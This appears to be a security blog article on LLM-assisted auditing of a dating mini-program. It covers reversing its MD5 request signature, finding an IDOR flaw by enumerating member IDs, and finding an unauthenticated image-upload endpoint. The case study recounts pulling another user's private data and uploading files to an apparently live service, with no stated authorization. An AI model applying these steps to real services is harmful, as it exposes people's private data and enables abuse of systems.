LLMs Revolutionize Mini-Program Security: IDOR & Upload Vuln

As AI systems move beyond text generation, their application in specialized fields is expanding. In web security and mini-program reverse engineering, traditional automated scanners often exhibit limitations, excelling at syntax-based vulnerabilities like SQL injection but struggling with complex business logic. This article explores a new paradigm for security auditing: leveraging Large Language Models (LLMs) as virtual security experts to bridge the gap between automated tools and human expertise. Through a practical case study involving a dating SaaS mini-program, the article demonstrates how LLMs can precisely uncover deep-seated risks such as Insecure Direct Object Reference (IDOR) and "illegal image hosting" by understanding business logic.

Key Points

LLMs as Virtual Security Auditors: LLMs can act as intelligent agents, analyzing HTTP raw packets to identify logical vulnerabilities that traditional scanners miss.
Signature Algorithm Cracking: LLMs can assist in reverse engineering obfuscated JavaScript code to restore signature algorithms, crucial for forging requests and verifying vulnerabilities.
IDOR Discovery: By analyzing HTTP request/response pairs, LLMs can identify enumerable IDs and the lack of proper authorization checks, leading to IDOR vulnerabilities.
Unauthorized Upload and "Illegal Image Hosting": LLMs can detect missing authentication in upload interfaces and infer business-level abuse risks, such as using a service as a free image host.
Structured Prompt Engineering: Effective utilization of LLMs requires carefully designed prompts, including role setting, task constraints, and output formats, to mitigate "hallucinations" and enhance accuracy.
Limitations and Risk Control: Data privacy, the potential for LLM "hallucinations," and context window limitations necessitate rigorous manual verification and secure deployment strategies.

The Rationale

Traditional security testing faces significant efficiency bottlenecks. Manual auditing is time-consuming and labor-intensive, while conventional scanners cannot comprehend business rules like "an order ID can only be viewed by the buyer themselves." The introduction of LLMs represents a dimensional upgrade, moving beyond mere tool-level efficiency improvements. By feeding HTTP raw packets to LLMs, security teams effectively employ a tireless virtual security expert with contextual understanding. This expert can think like a human, infer business risks from technical details, and thus discover logical vulnerabilities hidden in normal traffic. While traditional vulnerability discovery relies on human expert experience, LLMs can now handle the contextual understanding of HTTP packets.

The workflow typically involves:

Data Acquisition: Using a proxy like Fiddler to capture mini-program business traffic and save it as raw text.
Reverse Engineering Assistance: Employing an LLM to analyze decompiled obfuscated JavaScript code and restore signature algorithms.
Intelligent Auditing: Feeding HTTP request/response packets to the security intelligent agent to automatically identify logical issues such as unauthorized access and sensitive information leakage.

From a structural standpoint, the process can be visualized as:

graph LR A [Fiddler Packet Capture] -->|Save All Sessions as Text| B (HTTP Raw Packets) C [Mini-Program Decompilation] -->|Extract JS Code| D (Obfuscated Encryption Logic) B --> E {LLM Security Intelligent Agent} D --> E E -->|Output| F [Signature Algorithm Restoration] E -->|Output| G [Vulnerability Assessment Report] G --> H [Manual Verification and Reproduction]

Under the Hood: LLM Cracks Signature Algorithms

After unpacking a mini-program (e.g., using KillWxapkg) and locating key business logic, it was observed that sensitive interfaces often included anti-tampering headers such as signature, nonce, and timestamp. For instance, a WeChat client V4.1+ mini-program package might be found at C:\Users\username\AppData\Roaming\Tencent\xwechat\radium\Applet\packages. A command-line unpack could be executed as KillWxapkg -id=wx857888d1186577f0 -in="__APP__.wxapkg" –restore.

Searching for keywords like getSignatureHeader( within obfuscated JavaScript code can be challenging. After using a beautification tool (e.g., https://webfem.com/tools/js-decode/index.html), the core function getSignatureHeader was extracted and fed to an LLM for analysis of its encryption logic.

The LLM accurately identified the signature algorithm as an MD5 hash and pinpointed the critical concatenation order: MD5("xt..." + nonce + fixedUrl + timestamp + salt). This analysis proved foundational for forging requests and verifying vulnerabilities later.

Case Study: Insecure Direct Object Reference (IDOR)

During analysis, an interface for viewing member details, /api/guest/portal/details/1010, was captured. To assess its security, the complete raw text, including request headers, body, and response data, was provided to an LLM with the prompt: "The following is a packet capture of the X dating mini-program interface... Please evaluate for web security vulnerabilities."

The LLM (specifically, GLM-4.6) quickly identified severe issues and generated a detailed assessment report. The prompt used for the LLM defined it as a "Web Network Security Expert" with extensive experience, skills in penetration testing, security architecture, and adherence to best practices like OWASP Top 10. It also outlined a structured workflow for Web application security, including asset identification, architecture design, secure development, penetration testing, monitoring, and API security.

The LLM characterized the vulnerability as a Severe Insecure Direct Object Reference (IDOR). Its reasoning was based on the observation that 1010 in the request URL was an enumerable digital ID. The LLM concluded that the system failed to verify the relationship between the requester's identity and the queried ID, implying that "any logged-in user can obtain detailed information of all users in the system by iterating user IDs." Furthermore, the LLM automatically scanned the response body and listed leaked sensitive fields, such as full mobile numbers, detailed addresses, family members, and economic status.

Verification confirmed the LLM's findings. By changing the ID to 1009 and replaying the request, another user's private data was successfully obtained, validating the IDOR vulnerability.

Case Study: Unauthorized Upload and "Illegal Image Hosting"

When analyzing the file upload function, the Fiddler Session for the /base/file/upload interface was extracted and sent to the LLM for evaluation.

The LLM's findings were notable, pointing out not only technical vulnerabilities but also business-level abuse risks. Key points from its assessment included:

Missing Authentication (Severe): The LLM identified that the Authorization field in the request header was empty, indicating that the interface had no authentication. This meant "any attacker who knows the interface URL can directly call this interface."
Illegal Image Hosting Vulnerability (Medium/High Risk): The LLM further noted that because the server returned public image URLs and lacked business logic binding, the interface was highly susceptible to exploitation by malicious actors as a "free image host."
Risk Inference: The LLM inferred that attackers could upload illicit content (e.g., pornographic/gambling images) without restriction, using the victim's domain to distribute illegal content, potentially leading to domain blocking or legal repercussions.

Verification involved constructing a local request, removing the Authorization header, and directly uploading an image. The server responded with 200 OK and provided a publicly accessible image link, confirming the LLM's judgment on "authentication bypass" and "resource abuse."

Regarding the "illegal image hosting vulnerability," while not a standardized term, it is typically categorized as an "unauthorized file upload vulnerability" or "insecure file upload vulnerability." The core issue is the system's allowance of malicious file uploads without sufficient security validation.

Common harms include:

Spreading malicious content: Disseminating fraudulent or illicit material, damaging corporate credibility.
Resource consumption: Exploiting the service as a free image host, consuming server resources.
Cross-Site Scripting (XSS): Uploading malicious files that can steal user cookies or perform unauthorized operations.
Remote Code Execution (RCE): Uploading images containing malicious code to gain server control.
Supply chain attacks: Hijacking legitimate software updates to distribute malicious files.

Common attack methods involve bypassing front-end validation, uploading malicious files disguised as legitimate ones, creating "Polyglot" files (valid images that are also malicious scripts), and exploiting parsing differences.

Effective prevention measures include strict identity authentication and access control, implementing a "whitelist" strategy for file types (validating Magic Numbers), isolated storage without execution permissions, renaming and scanning uploaded files, and strict control of internal resource leakage.

Comprehensive Security Assessment

Based on these discoveries, a comprehensive security profile of the mini-program's API was created:

The Art of Prompting with AI

LLMs are not "plug-and-play" solutions. Many users find them to "hallucinate" or provide unhelpful responses, often due to imprecise instructions (prompts). To achieve high-quality audit results, users must transition from being mere "users" to "AI trainers."

A negative example prompt, such as "Help me analyze if this HTTP packet has any security vulnerabilities," typically yields vague advice like "Please pay attention to protecting user credentials," which is not useful for practical application.

An efficient strategy involves structured prompt design, incorporating Role Setting, Workflow, and Output Format:

Role Setting (Persona): Defining the LLM as a "Web network security expert with 20 years of experience, skilled at thinking from both attacker (Red Team) and defender (Blue Team) perspectives..." This activates the model's deep knowledge base in a specific domain.
Task Constraints (Constraints): Specifying that "Analysis must be based on the provided HTTP Raw text. Strictly forbid fabricating non-existent fields. Focus on logical vulnerabilities (e.g., IDOR, unauthorized access)." This reduces hallucinations and forces structural thinking.
Output Format (Output): Requesting output in a specific format, such as JSON, including fields like "vulnerability name, risk level, evidence snippet, remediation suggestions." This facilitates subsequent automated processing and report generation.

Through such finely designed interaction, the potential of LLMs can be truly unlocked.

Limitations and Risk Control

Despite their capabilities, LLMs are not a panacea. In enterprise-level applications, their limitations must be addressed, and rigorous verification processes established.

Data Privacy Red Line: Directly sending raw packets containing tokens, cookies, or internal code to public cloud LLMs poses a severe data leakage risk. Countermeasures include data anonymization (replacing sensitive credentials with masked values) before feeding data, and for highly confidential scenarios, utilizing locally deployed open-source models (e.g., Llama 3, DeepSeek-Coder) or enterprise private cloud solutions.

"Hallucinations" and Manual Verification: LLMs can sometimes confidently generate incorrect information. The principle here is "Trust, but Verify." All vulnerabilities discovered by AI must be confirmed through manual reproduction or script verification. The LLM acts as a co-pilot, but human oversight remains critical.

Context Limitations: For complex e-commerce ordering processes spanning many APIs, an LLM's context window (token limit) may be insufficient, causing it to "forget" previous business states. Countermeasures include introducing RAG (Retrieval-Augmented Generation) technology or breaking down business logic and feeding it in segments.

Forward View

This article has detailed how to discover severe IDOR and unauthorized file upload (illegal image hosting) vulnerabilities through reverse engineering (decompilation) and LLM-assisted protocol analysis (signature cracking) using a real mini-program case.

The advantages of LLMs in processing HTTP raw packets are significant:

In daily mini-program or web penetration testing, it is recommended to standardize Fiddler/Burp Suite traffic export and LLM analysis into a fixed process. Utilizing LLM's reasoning capabilities can uncover not only explicit injection vulnerabilities but also deep logical flaws such as IDOR and unauthorized access. LLM-assisted security auditing represents a paradigm shift, transforming tedious "troubleshooting" into creative "human-machine collaboration." By mastering prompt engineering and establishing rigorous risk control, security practitioners can leverage LLMs as powerful assistants. Looking ahead, security capabilities will increasingly depend on harnessing AI to identify risks invisible to the human eye.